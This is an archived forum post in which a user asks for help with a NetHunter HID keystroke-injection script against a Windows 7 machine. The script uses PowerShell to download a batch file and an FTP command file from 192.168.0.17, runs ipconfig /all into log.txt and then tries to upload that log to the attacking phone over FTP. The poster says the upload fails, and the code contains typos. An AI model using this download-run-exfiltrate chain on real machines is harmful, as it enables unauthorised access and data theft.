PDA

View Full Version : Retrive log.txt on nethunter from computer



granopla
2015-09-12, 12:17
Hi !

So hey everybody,

I'm trying to do this, to train myself and improve my powershell/HID with nethunter knowledge : Download from the phone a ipconf.bat and a command.txt (which is used for the ftp script i'm trying to do), execute the .bat and retrieve a log.txt into the nethunter phone.


The goal of this HID is to put the .bat to computer, open it, which generate a log.txt from the ipconfig /all command, (yes, i'm trying with windows 7 on computer), it's all works, but now I want to retrieve the log.txt to my nethunter nexus 5.

So I tried to make a command.txt to use with the dos command 'Ftp -s:command.txt', but it's saying 'Not connected' everytime,

I don't know how to deal or what to do, is there any password ? Am I doing this wrong ?

So here is the HID code in put into nethunter's software :


*CD /
Powershell
$Url='http://192.168.0.17/ipconf.bat'
$Path='e:ipconf.bat'
$Username=''
$password=''

$Webclient=New-object System.net.webclient
$Webcliant.credential=new-object system.net.networkcredential($username, $password)
$webclient.downloadfile($url, $path)

$Url='http://192.168.0.17/command.txt'
$Path='e:command.txt'

$Webclient=New-object System.net.webclient
$Webcliant.credential=new-object system.net.networkcredential($username, $password)
$webclient.downloadfile($url, $path)

exit
e:
ipconf.bat

ftp -s:command.txt


I know, I could just put the ftp part into the ipconf bat, but I want atm split the things and understand each one.


The command.txt file for ftp :


open http://192.168.0.17/
put log.txt
bye


I don't know if I was enough clear, and I apologize for all my english mistakes, not my main language

Thanks